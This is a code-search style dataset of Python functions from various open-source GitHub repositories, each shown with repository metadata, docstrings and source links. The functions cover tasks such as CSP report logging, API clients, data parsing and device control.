def cspreport(request): """Accept CSP reports and log them.""" report = ('blocked-uri', 'violated-directive', 'original-policy') if not waffle.sample_is_active('csp-store-reports'): return HttpResponse() try: v = json.loads(request.body)['csp-report'] # If possible, alter the PATH_INFO to contain the request of the page # the error occurred on, spec: http://mzl.la/P82R5y meta = request.META.copy() meta['PATH_INFO'] = v.get('document-uri', meta['PATH_INFO']) v = [(k, v[k]) for k in report if k in v] log_cef('CSPViolation', 5, meta, signature='CSPREPORT', msg='A client reported a CSP violation', cs6=v, cs6Label='ContentPolicy') except (KeyError, ValueError), e: log.debug('Exception in CSP report: %s' % e, exc_info=True) return HttpResponseBadRequest() return HttpResponse()

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https://github.com/mozilla/zamboni/blob/14b1a44658e47b9f048962fa52dbf00a3beaaf30/mkt/site/views.py#L229-L251

Chaffelson/nipyapi

d3b186fd701ce308c2812746d98af9120955e810

nipyapi/nifi/apis/flow_api.py

python

FlowApi.search_flow_with_http_info

(self, **kwargs)

return self.api_client.call_api('/flow/search-results', 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='SearchResultsEntity', auth_settings=auth_settings, callback=params.get('callback'), _return_http_data_only=params.get('_return_http_data_only'), _preload_content=params.get('_preload_content', True), _request_timeout=params.get('_request_timeout'), collection_formats=collection_formats)

Performs a search against this NiFi using the specified search term Only search results from authorized components will be returned. This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.search_flow_with_http_info(callback=callback_function) :param callback function: The callback function for asynchronous request. (optional) :param str q: :param str a: :return: SearchResultsEntity If the method is called asynchronously, returns the request thread.

Performs a search against this NiFi using the specified search term Only search results from authorized components will be returned. This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.search_flow_with_http_info(callback=callback_function)

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def search_flow_with_http_info(self, **kwargs): """ Performs a search against this NiFi using the specified search term Only search results from authorized components will be returned. This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.search_flow_with_http_info(callback=callback_function) :param callback function: The callback function for asynchronous request. (optional) :param str q: :param str a: :return: SearchResultsEntity If the method is called asynchronously, returns the request thread. """ all_params = ['q', 'a'] all_params.append('callback') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') params = locals() for key, val in iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method search_flow" % key ) params[key] = val del params['kwargs'] collection_formats = {} path_params = {} query_params = [] if 'q' in params: query_params.append(('q', params['q'])) if 'a' in params: query_params.append(('a', params['a'])) header_params = {} form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.\ select_header_accept(['application/json']) # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.\ select_header_content_type(['*/*']) # Authentication setting auth_settings = ['tokenAuth'] return self.api_client.call_api('/flow/search-results', 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='SearchResultsEntity', auth_settings=auth_settings, callback=params.get('callback'), _return_http_data_only=params.get('_return_http_data_only'), _preload_content=params.get('_preload_content', True), _request_timeout=params.get('_request_timeout'), collection_formats=collection_formats)

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https://github.com/Chaffelson/nipyapi/blob/d3b186fd701ce308c2812746d98af9120955e810/nipyapi/nifi/apis/flow_api.py#L4490-L4568

mangye16/ReID-Survey

2ce2cfe890d78f6904890c9063ed156532325b60

video-reid-AWG/utils.py

python

save_gradient_images

(gradient, file_name)

Exports the original gradient image Args: gradient (np arr): Numpy array of the gradient with shape (3, 224, 224) file_name (str): File name to be exported

Exports the original gradient image

[ "Exports", "the", "original", "gradient", "image" ]

def save_gradient_images(gradient, file_name): """ Exports the original gradient image Args: gradient (np arr): Numpy array of the gradient with shape (3, 224, 224) file_name (str): File name to be exported """ if not os.path.exists('../results'): os.makedirs('../results') # Normalize gradient = gradient - gradient.min() gradient /= gradient.max() # Save image path_to_file = os.path.join('../results', file_name + '.jpg') save_image(gradient, path_to_file)

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https://github.com/mangye16/ReID-Survey/blob/2ce2cfe890d78f6904890c9063ed156532325b60/video-reid-AWG/utils.py#L176-L191

hellohaptik/chatbot_ner

742104790170ae5b73c583c94db6786549337dc4

ner_v2/detectors/numeral/number_range/standard_number_range_detector.py

python

BaseNumberRangeDetector._detect_max_num_range_with_prefix_variants

(self, number_range_list=None, original_list=None)

return number_range_list, original_list

Method to detect number range containing only max value and keywords which identify value as min present before them. Example - less than 2 {'less than' => keyword, '2' => max value}, At most seven hundred rupees {'At most' => keyword, 'seven hundred rupees'=>min value} Args: number_range_list (list): original_list (list): Returns: (tuple): a tuple containing (list): list containing detected numeric text (list): list containing original numeral text

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def _detect_max_num_range_with_prefix_variants(self, number_range_list=None, original_list=None): """ Method to detect number range containing only max value and keywords which identify value as min present before them. Example - less than 2 {'less than' => keyword, '2' => max value}, At most seven hundred rupees {'At most' => keyword, 'seven hundred rupees'=>min value} Args: number_range_list (list): original_list (list): Returns: (tuple): a tuple containing (list): list containing detected numeric text (list): list containing original numeral text """ number_range_list = number_range_list or [] original_list = original_list or [] if self.max_range_prefix_variants: max_prefix_choices = '|'.join(self.max_range_prefix_variants) max_range_start_pattern = re.compile(r'((?:{max_prefix_choices})\s+({number}\d+__))'.format( number=numeral_constant.NUMBER_REPLACE_TEXT, max_prefix_choices=max_prefix_choices), re.UNICODE) number_range_matches = max_range_start_pattern.findall(self.processed_text) for match in number_range_matches: number_range, original_text = self._get_number_range(min_part_match=None, max_part_match=match[1], full_match=match[0]) if number_range and original_text: number_range_list.append(number_range) original_list.append(original_text) return number_range_list, original_list

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https://github.com/hellohaptik/chatbot_ner/blob/742104790170ae5b73c583c94db6786549337dc4/ner_v2/detectors/numeral/number_range/standard_number_range_detector.py#L330-L358

osmr/imgclsmob

f2993d3ce73a2f7ddba05da3891defb08547d504

gluon/datasets/coco_hpe3_dataset.py

python

CocoHpe3MetaInfo.add_dataset_parser_arguments

(self, parser, work_dir_path)

Create python script parameters (for ImageNet-1K dataset metainfo). Parameters: ---------- parser : ArgumentParser ArgumentParser instance. work_dir_path : str Path to working directory.

Create python script parameters (for ImageNet-1K dataset metainfo).

[ "Create", "python", "script", "parameters", "(", "for", "ImageNet", "-", "1K", "dataset", "metainfo", ")", "." ]

def add_dataset_parser_arguments(self, parser, work_dir_path): """ Create python script parameters (for ImageNet-1K dataset metainfo). Parameters: ---------- parser : ArgumentParser ArgumentParser instance. work_dir_path : str Path to working directory. """ super(CocoHpe3MetaInfo, self).add_dataset_parser_arguments(parser, work_dir_path) parser.add_argument( "--input-size", type=int, nargs=2, default=self.input_image_size, help="size of the input for model") parser.add_argument( "--load-ignore-extra", action="store_true", help="ignore extra layers in the source PyTroch model")

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https://github.com/osmr/imgclsmob/blob/f2993d3ce73a2f7ddba05da3891defb08547d504/gluon/datasets/coco_hpe3_dataset.py#L513-L536

zhl2008/awd-platform

0416b31abea29743387b10b3914581fbe8e7da5e

web_hxb2/lib/python3.5/site-packages/wagtail/utils/setup.py

python

assets_mixin.compile_assets

(self)

[]

def compile_assets(self): try: subprocess.check_call(['npm', 'run', 'build']) except (OSError, subprocess.CalledProcessError) as e: print('Error compiling assets: ' + str(e)) # noqa raise SystemExit(1)

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https://github.com/zhl2008/awd-platform/blob/0416b31abea29743387b10b3914581fbe8e7da5e/web_hxb2/lib/python3.5/site-packages/wagtail/utils/setup.py#L17-L22

dboyd13/DSVR

56fd0b30294a02dabc8af9178c3ed9980c229c94

lib/IPy.py

python

_count1Bits

(num)

return ret

Find the highest bit set to 1 in an integer.

[ "Find", "the", "highest", "bit", "set", "to", "1", "in", "an", "integer", "." ]

def _count1Bits(num): """Find the highest bit set to 1 in an integer.""" ret = 0 while num > 0: num = num >> 1 ret += 1 return ret

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https://github.com/dboyd13/DSVR/blob/56fd0b30294a02dabc8af9178c3ed9980c229c94/lib/IPy.py#L1264-L1270

geduldig/TwitterAPI

1cb89e8fc50b051707fb99d6c2bb235ada5faf1a

TwitterAPI/TwitterAPI.py

python

_hydrate_tweets

(data, includes, field_suffix)

return data

Insert expansion fields back into tweet data by appending a new field as a sibling to the referenced field. :param data: "data" property value in JSON response :param includes: "includes" property value in JSON response :param field_suffix: Suffix appended to a hydrated field name. Either "_hydrate" which puts hydrated values into a new field, or "" which replaces the current field value with hydrated values. :returns: Tweet status as a JSON object.

Insert expansion fields back into tweet data by appending a new field as a sibling to the referenced field.

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def _hydrate_tweets(data, includes, field_suffix): """Insert expansion fields back into tweet data by appending a new field as a sibling to the referenced field. :param data: "data" property value in JSON response :param includes: "includes" property value in JSON response :param field_suffix: Suffix appended to a hydrated field name. Either "_hydrate" which puts hydrated values into a new field, or "" which replaces the current field value with hydrated values. :returns: Tweet status as a JSON object. """ new_fields = [] for key in includes: incl = includes[key] for obj in incl: for field in ['id', 'media_key', 'username']: if field in obj: _create_include_fields(data, (obj[field], obj), new_fields) for item in new_fields: parent = item[0] field = item[1] + field_suffix include = item[2] if field in parent: if item[1] == 'media_keys': parent[field] += include if field_suffix == '': # REPLACE option parent[field].remove(include[0]['media_key']) else: parent[field] = include else: parent[field] = include return data

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https://github.com/geduldig/TwitterAPI/blob/1cb89e8fc50b051707fb99d6c2bb235ada5faf1a/TwitterAPI/TwitterAPI.py#L438-L473

ShreyAmbesh/Traffic-Rule-Violation-Detection-System

ae0c327ce014ce6a427da920b5798a0d4bbf001e

openalpr_api/models/plate_candidate.py

python

PlateCandidate.to_dict

(self)

return result

Returns the model properties as a dict

[ "Returns", "the", "model", "properties", "as", "a", "dict" ]

def to_dict(self): """ Returns the model properties as a dict """ result = {} for attr, _ in iteritems(self.swagger_types): value = getattr(self, attr) if isinstance(value, list): result[attr] = list(map( lambda x: x.to_dict() if hasattr(x, "to_dict") else x, value )) elif hasattr(value, "to_dict"): result[attr] = value.to_dict() elif isinstance(value, dict): result[attr] = dict(map( lambda item: (item[0], item[1].to_dict()) if hasattr(item[1], "to_dict") else item, value.items() )) else: result[attr] = value return result

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https://github.com/ShreyAmbesh/Traffic-Rule-Violation-Detection-System/blob/ae0c327ce014ce6a427da920b5798a0d4bbf001e/openalpr_api/models/plate_candidate.py#L129-L153

zhl2008/awd-platform

0416b31abea29743387b10b3914581fbe8e7da5e

web_flaskbb/lib/python2.7/site-packages/pytz/tzinfo.py

python

DstTzInfo.__reduce__

(self)

return pytz._p, ( self.zone, _to_seconds(self._utcoffset), _to_seconds(self._dst), self._tzname )

[]

def __reduce__(self): # Special pickle to zone remains a singleton and to cope with # database changes. return pytz._p, ( self.zone, _to_seconds(self._utcoffset), _to_seconds(self._dst), self._tzname )

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https://github.com/zhl2008/awd-platform/blob/0416b31abea29743387b10b3914581fbe8e7da5e/web_flaskbb/lib/python2.7/site-packages/pytz/tzinfo.py#L518-L526

cloudera/hue

23f02102d4547c17c32bd5ea0eb24e9eadd657a4

desktop/core/ext-py/gssapi-1.5.1/gssapi/creds.py

python

Credentials.store

(self, store=None, usage='both', mech=None, overwrite=False, set_default=False)

Store these credentials into the given store This method stores the current credentials into the specified credentials store. If the default store is used, support for :rfc:`5588` is required. Otherwise, support for the credentials store extension is required. :requires-ext:`rfc5588` or :requires-ext:`cred_store` Args: store (dict): the store into which to store the credentials, or None for the default store. usage (str): the usage to store the credentials with -- either 'both', 'initiate', or 'accept' mech (OID): the :class:`MechType` to associate with the stored credentials overwrite (bool): whether or not to overwrite existing credentials stored with the same name, etc set_default (bool): whether or not to set these credentials as the default credentials for the given store. Returns: StoreCredResult: the results of the credential storing operation Raises: GSSError ExpiredCredentialsError MissingCredentialsError OperationUnavailableError DuplicateCredentialsElementError

Store these credentials into the given store

[ "Store", "these", "credentials", "into", "the", "given", "store" ]

def store(self, store=None, usage='both', mech=None, overwrite=False, set_default=False): """Store these credentials into the given store This method stores the current credentials into the specified credentials store. If the default store is used, support for :rfc:`5588` is required. Otherwise, support for the credentials store extension is required. :requires-ext:`rfc5588` or :requires-ext:`cred_store` Args: store (dict): the store into which to store the credentials, or None for the default store. usage (str): the usage to store the credentials with -- either 'both', 'initiate', or 'accept' mech (OID): the :class:`MechType` to associate with the stored credentials overwrite (bool): whether or not to overwrite existing credentials stored with the same name, etc set_default (bool): whether or not to set these credentials as the default credentials for the given store. Returns: StoreCredResult: the results of the credential storing operation Raises: GSSError ExpiredCredentialsError MissingCredentialsError OperationUnavailableError DuplicateCredentialsElementError """ if store is None: if rcred_rfc5588 is None: raise NotImplementedError("Your GSSAPI implementation does " "not have support for RFC 5588") return rcred_rfc5588.store_cred(self, usage, mech, overwrite, set_default) else: if rcred_cred_store is None: raise NotImplementedError("Your GSSAPI implementation does " "not have support for manipulating " "credential stores directly") store = _encode_dict(store) return rcred_cred_store.store_cred_into(store, self, usage, mech, overwrite, set_default)

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https://github.com/cloudera/hue/blob/23f02102d4547c17c32bd5ea0eb24e9eadd657a4/desktop/core/ext-py/gssapi-1.5.1/gssapi/creds.py#L153-L203

biopython/biopython

2dd97e71762af7b046d7f7f8a4f1e38db6b06c86

Bio/SearchIO/BlastIO/blast_xml.py

python

BlastXmlWriter._write_elem_block

(self, block_name, map_name, obj, opt_dict=None)

Write sibling XML elements (PRIVATE). :param block_name: common element name prefix :type block_name: string :param map_name: name of mapping between element and attribute names :type map_name: string :param obj: object whose attribute value will be used :type obj: object :param opt_dict: custom element-attribute mapping :type opt_dict: dictionary {string: string}

Write sibling XML elements (PRIVATE).

[ "Write", "sibling", "XML", "elements", "(", "PRIVATE", ")", "." ]

def _write_elem_block(self, block_name, map_name, obj, opt_dict=None): """Write sibling XML elements (PRIVATE). :param block_name: common element name prefix :type block_name: string :param map_name: name of mapping between element and attribute names :type map_name: string :param obj: object whose attribute value will be used :type obj: object :param opt_dict: custom element-attribute mapping :type opt_dict: dictionary {string: string} """ if opt_dict is None: opt_dict = {} for elem, attr in _WRITE_MAPS[map_name]: elem = block_name + elem try: content = str(getattr(obj, attr)) except AttributeError: # ensure attrs that is not present is optional if elem not in _DTD_OPT: raise ValueError(f"Element {elem!r} (attribute {attr!r}) not found") else: # custom element-attribute mapping, for fallback values if elem in opt_dict: content = opt_dict[elem] self.xml.simpleElement(elem, content)

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https://github.com/biopython/biopython/blob/2dd97e71762af7b046d7f7f8a4f1e38db6b06c86/Bio/SearchIO/BlastIO/blast_xml.py#L784-L811

wikimedia/pywikibot

81a01ffaec7271bf5b4b170f85a80388420a4e78

pywikibot/page/__init__.py

python

BaseLink.__str__

(self)

return self.astext()

Return a str string representation.

[ "Return", "a", "str", "string", "representation", "." ]

def __str__(self) -> str: """Return a str string representation.""" return self.astext()

[ "def", "__str__", "(", "self", ")", "->", "str", ":", "return", "self", ".", "astext", "(", ")" ]

https://github.com/wikimedia/pywikibot/blob/81a01ffaec7271bf5b4b170f85a80388420a4e78/pywikibot/page/__init__.py#L5210-L5212

mitre-attack/attack-website

446748b71f412f7125d596a5eae0869559c89f05

modules/util/stixhelpers.py

python

get_stix_memory_stores

()

return ms, srcs

This function reads the json files for each domain and creates a dict that contains the memory stores for each domain.

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def get_stix_memory_stores(): """This function reads the json files for each domain and creates a dict that contains the memory stores for each domain. """ # suppress InsecureRequestWarning: Unverified HTTPS request is being made urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) ms = {} srcs = [] # Set proxy proxy = "" if site_config.args.proxy: proxy = site_config.args.proxy proxyDict = { "http" : proxy, "https" : proxy } for domain in site_config.domains: # Download json from http or https if domain['location'].startswith("http"): stix_json = requests.get(domain['location'], verify=False, proxies=proxyDict) if stix_json.status_code == 200: stix_json = stix_json.json() ms[domain['name']] = stix2.MemoryStore(stix_data=stix_json['objects']) elif stix_json.status_code == 404: exit(f"\n{domain['location']} stix bundle was not found") else: exit(f"\n{domain['location']} stix bundle download was unsuccessful") else: if os.path.exists(domain['location']): ms[domain['name']] = stix2.MemoryStore() ms[domain['name']].load_from_file(domain['location']) else: exit(f"\n{domain['location']} local file does not exist. If you intended a URL, please include http:// or https://") if not domain['deprecated']: srcs.append(ms[domain['name']]) return ms, srcs

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https://github.com/mitre-attack/attack-website/blob/446748b71f412f7125d596a5eae0869559c89f05/modules/util/stixhelpers.py#L374-L416

Staffjoy/suite

14ed49b21cf8296d2e0696a7f50f91f8e4b65072

staffjoy/resource.py

python

Resource._delay_for_ratelimits

(cls, start)

If request was shorter than max request time, delay

[ "If", "request", "was", "shorter", "than", "max", "request", "time", "delay" ]

def _delay_for_ratelimits(cls, start): """If request was shorter than max request time, delay""" stop = datetime.now() duration_microseconds = (stop-start).microseconds if duration_microseconds < cls.REQUEST_TIME_MICROSECONDS: time.sleep((cls.REQUEST_TIME_MICROSECONDS - duration_microseconds) / MICROSECONDS_PER_SECOND)

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https://github.com/Staffjoy/suite/blob/14ed49b21cf8296d2e0696a7f50f91f8e4b65072/staffjoy/resource.py#L202-L207

saltstack/salt

fae5bc757ad0f1716483ce7ae180b451545c2058

salt/modules/netaddress.py

python

list_cidr_ips

(cidr)

return [str(ip) for ip in list(ips)]

Get a list of IP addresses from a CIDR. CLI Example: .. code-block:: bash salt myminion netaddress.list_cidr_ips 192.168.0.0/20

Get a list of IP addresses from a CIDR.

[ "Get", "a", "list", "of", "IP", "addresses", "from", "a", "CIDR", "." ]

def list_cidr_ips(cidr): """ Get a list of IP addresses from a CIDR. CLI Example: .. code-block:: bash salt myminion netaddress.list_cidr_ips 192.168.0.0/20 """ ips = netaddr.IPNetwork(cidr) return [str(ip) for ip in list(ips)]

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https://github.com/saltstack/salt/blob/fae5bc757ad0f1716483ce7ae180b451545c2058/salt/modules/netaddress.py#L33-L44

CreatCodeBuild/TensorFlow-and-DeepLearning-Tutorial

b418e9dc381a908b9cb7a3038825b6eb276b98cd

Season1/4-6/load.py

python

normalize

(samples)

return a/128.0 - 1.0

并且灰度化: 从三色通道 -> 单色通道省内存 + 加快训练速度 (R + G + B) / 3 将图片从 0 ~ 255 线性映射到 -1.0 ~ +1.0 @samples: numpy array

并且灰度化: 从三色通道 -> 单色通道省内存 + 加快训练速度 (R + G + B) / 3 将图片从 0 ~ 255 线性映射到 -1.0 ~ +1.0

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def normalize(samples): ''' 并且灰度化: 从三色通道 -> 单色通道省内存 + 加快训练速度 (R + G + B) / 3 将图片从 0 ~ 255 线性映射到 -1.0 ~ +1.0 @samples: numpy array ''' a = np.add.reduce(samples, keepdims=True, axis=3) # shape (图片数，图片高，图片宽，通道数) a = a/3.0 return a/128.0 - 1.0

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https://github.com/CreatCodeBuild/TensorFlow-and-DeepLearning-Tutorial/blob/b418e9dc381a908b9cb7a3038825b6eb276b98cd/Season1/4-6/load.py#L29-L38

jazzband/django-celery-monitor

2b86acddc4cf2e65b63c8c7b2db7ecaa037b4b75

django_celery_monitor/managers.py

python

TaskStateQuerySet.purge

(self)

Purge all expired task states.

[ "Purge", "all", "expired", "task", "states", "." ]

def purge(self): """Purge all expired task states.""" with transaction.atomic(): self.using( router.db_for_write(self.model) ).filter(hidden=True).delete()

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https://github.com/jazzband/django-celery-monitor/blob/2b86acddc4cf2e65b63c8c7b2db7ecaa037b4b75/django_celery_monitor/managers.py#L86-L91

yogeshbalaji/Generate_To_Adapt

622d4984662b71bcdb88c33c5ac67e6ec8bad0ad

models.py

python

_netF.forward

(self, input)

return output.view(-1, 2*self.ndf)

[]

def forward(self, input): output = self.feature(input) return output.view(-1, 2*self.ndf)

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https://github.com/yogeshbalaji/Generate_To_Adapt/blob/622d4984662b71bcdb88c33c5ac67e6ec8bad0ad/models.py#L113-L115

Dan-in-CA/SIP

7d08d807d7730bff2b5eaaa57e743665c8b143a6

web/utils.py

python

group

(seq, size)

return (seq[i : i + size] for i in range(0, len(seq), size))

Returns an iterator over a series of lists of length size from iterable. >>> list(group([1,2,3,4], 2)) [[1, 2], [3, 4]] >>> list(group([1,2,3,4,5], 2)) [[1, 2], [3, 4], [5]]

Returns an iterator over a series of lists of length size from iterable.

[ "Returns", "an", "iterator", "over", "a", "series", "of", "lists", "of", "length", "size", "from", "iterable", "." ]

def group(seq, size): """ Returns an iterator over a series of lists of length size from iterable. >>> list(group([1,2,3,4], 2)) [[1, 2], [3, 4]] >>> list(group([1,2,3,4,5], 2)) [[1, 2], [3, 4], [5]] """ return (seq[i : i + size] for i in range(0, len(seq), size))

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https://github.com/Dan-in-CA/SIP/blob/7d08d807d7730bff2b5eaaa57e743665c8b143a6/web/utils.py#L586-L595

AIworx-Labs/chocolate

0ba4f6f0130eab851d32d5534241c8cac3f6666e

chocolate/connection/sqlite.py

python

SQLiteConnection.all_complementary

(self)

return list(db[self.complementary_table_name].all())

Get all entries of the complementary information table as a list. The order is undefined.

[ "Get", "all", "entries", "of", "the", "complementary", "information", "table", "as", "a", "list", ".", "The", "order", "is", "undefined", "." ]

def all_complementary(self): """Get all entries of the complementary information table as a list. The order is undefined. """ gc.collect() db = dataset.connect(self.url) return list(db[self.complementary_table_name].all())

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https://github.com/AIworx-Labs/chocolate/blob/0ba4f6f0130eab851d32d5534241c8cac3f6666e/chocolate/connection/sqlite.py#L154-L160

psf/black

33e3bb1e4e326713f85749705179da2e31520670

src/black/files.py

python

find_project_root

(srcs: Sequence[str])

return directory, "file system root"

Return a directory containing .git, .hg, or pyproject.toml. That directory will be a common parent of all files and directories passed in `srcs`. If no directory in the tree contains a marker that would specify it's the project root, the root of the file system is returned. Returns a two-tuple with the first element as the project root path and the second element as a string describing the method by which the project root was discovered.

Return a directory containing .git, .hg, or pyproject.toml.

[ "Return", "a", "directory", "containing", ".", "git", ".", "hg", "or", "pyproject", ".", "toml", "." ]

def find_project_root(srcs: Sequence[str]) -> Tuple[Path, str]: """Return a directory containing .git, .hg, or pyproject.toml. That directory will be a common parent of all files and directories passed in `srcs`. If no directory in the tree contains a marker that would specify it's the project root, the root of the file system is returned. Returns a two-tuple with the first element as the project root path and the second element as a string describing the method by which the project root was discovered. """ if not srcs: srcs = [str(Path.cwd().resolve())] path_srcs = [Path(Path.cwd(), src).resolve() for src in srcs] # A list of lists of parents for each 'src'. 'src' is included as a # "parent" of itself if it is a directory src_parents = [ list(path.parents) + ([path] if path.is_dir() else []) for path in path_srcs ] common_base = max( set.intersection(*(set(parents) for parents in src_parents)), key=lambda path: path.parts, ) for directory in (common_base, *common_base.parents): if (directory / ".git").exists(): return directory, ".git directory" if (directory / ".hg").is_dir(): return directory, ".hg directory" if (directory / "pyproject.toml").is_file(): return directory, "pyproject.toml" return directory, "file system root"

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https://github.com/psf/black/blob/33e3bb1e4e326713f85749705179da2e31520670/src/black/files.py#L34-L73

jgagneastro/coffeegrindsize

22661ebd21831dba4cf32bfc6ba59fe3d49f879c

App/venv/lib/python3.7/site-packages/pkg_resources/_vendor/pyparsing.py

python

ParserElement.__rand__

(self, other )

return other & self

Implementation of & operator when left operand is not a C{L{ParserElement}}

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def __rand__(self, other ): """ Implementation of & operator when left operand is not a C{L{ParserElement}} """ if isinstance( other, basestring ): other = ParserElement._literalStringClass( other ) if not isinstance( other, ParserElement ): warnings.warn("Cannot combine element of type %s with ParserElement" % type(other), SyntaxWarning, stacklevel=2) return None return other & self

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https://github.com/jgagneastro/coffeegrindsize/blob/22661ebd21831dba4cf32bfc6ba59fe3d49f879c/App/venv/lib/python3.7/site-packages/pkg_resources/_vendor/pyparsing.py#L2008-L2018

ansible/ansible

4676c08f188fb5dca98df61630c76dba1f0d2d77

lib/ansible/module_utils/distro/_distro.py

python

LinuxDistribution._parse_distro_release_file

(self, filepath)

Parse a distro release file. Parameters: * filepath: Path name of the distro release file. Returns: A dictionary containing all information items.

Parse a distro release file.

[ "Parse", "a", "distro", "release", "file", "." ]

def _parse_distro_release_file(self, filepath): # type: (str) -> Dict[str, str] """ Parse a distro release file. Parameters: * filepath: Path name of the distro release file. Returns: A dictionary containing all information items. """ try: with open(filepath) as fp: # Only parse the first line. For instance, on SLES there # are multiple lines. We don't want them... return self._parse_distro_release_content(fp.readline()) except (OSError, IOError): # Ignore not being able to read a specific, seemingly version # related file. # See https://github.com/python-distro/distro/issues/162 return {}

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https://github.com/ansible/ansible/blob/4676c08f188fb5dca98df61630c76dba1f0d2d77/lib/ansible/module_utils/distro/_distro.py#L1346-L1367

thearn/Python-Arduino-Command-API

610171b3ae153542aca42d354fbb26c32027f38f

examples.py

python

softBlink

(led_pin, baud, port="")

Fades an LED off and on, using Arduino's analogWrite (PWM) function

[ "Fades", "an", "LED", "off", "and", "on", "using", "Arduino", "s", "analogWrite", "(", "PWM", ")", "function" ]

def softBlink(led_pin, baud, port=""): """ Fades an LED off and on, using Arduino's analogWrite (PWM) function """ board = Arduino(baud, port=port) i = 0 while True: i += 1 k = i % 510 if k % 5 == 0: if k > 255: k = 510 - k board.analogWrite(led_pin, k)

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https://github.com/thearn/Python-Arduino-Command-API/blob/610171b3ae153542aca42d354fbb26c32027f38f/examples.py#L21-L34

idapython/src

839d93ac969bc1a152982464907445bc0d18a1f8

pywraps/py_kernwin_askform.py

python

Form.SetFocusedField

(self, ctrl)

return _ida_kernwin.formchgcbfa_set_focused_field(self.p_fa, ctrl.id)

Set currently focused input field @return: False - no such control

Set currently focused input field

[ "Set", "currently", "focused", "input", "field" ]

def SetFocusedField(self, ctrl): """ Set currently focused input field @return: False - no such control """ return _ida_kernwin.formchgcbfa_set_focused_field(self.p_fa, ctrl.id)

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https://github.com/idapython/src/blob/839d93ac969bc1a152982464907445bc0d18a1f8/pywraps/py_kernwin_askform.py#L1269-L1274

home-assistant/core

265ebd17a3f17ed8dc1e9bdede03ac8e323f1ab1

homeassistant/components/rpi_camera/camera.py

python

RaspberryCamera.__init__

(self, device_info)

Initialize Raspberry Pi camera component.

[ "Initialize", "Raspberry", "Pi", "camera", "component", "." ]

def __init__(self, device_info): """Initialize Raspberry Pi camera component.""" super().__init__() self._name = device_info[CONF_NAME] self._config = device_info # Kill if there's raspistill instance kill_raspistill() cmd_args = [ "raspistill", "--nopreview", "-o", device_info[CONF_FILE_PATH], "-t", "0", "-w", str(device_info[CONF_IMAGE_WIDTH]), "-h", str(device_info[CONF_IMAGE_HEIGHT]), "-tl", str(device_info[CONF_TIMELAPSE]), "-q", str(device_info[CONF_IMAGE_QUALITY]), "-rot", str(device_info[CONF_IMAGE_ROTATION]), ] if device_info[CONF_HORIZONTAL_FLIP]: cmd_args.append("-hf") if device_info[CONF_VERTICAL_FLIP]: cmd_args.append("-vf") if device_info[CONF_OVERLAY_METADATA]: cmd_args.append("-a") cmd_args.append(str(device_info[CONF_OVERLAY_METADATA])) if device_info[CONF_OVERLAY_TIMESTAMP]: cmd_args.append("-a") cmd_args.append("4") cmd_args.append("-a") cmd_args.append(str(device_info[CONF_OVERLAY_TIMESTAMP])) # The raspistill process started below must run "forever" in # the background until killed when Home Assistant is stopped. # Therefore it must not be wrapped with "with", since that # waits for the subprocess to exit before continuing. subprocess.Popen( # pylint: disable=consider-using-with cmd_args, stdout=subprocess.DEVNULL, stderr=subprocess.STDOUT )

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https://github.com/home-assistant/core/blob/265ebd17a3f17ed8dc1e9bdede03ac8e323f1ab1/homeassistant/components/rpi_camera/camera.py#L86-L136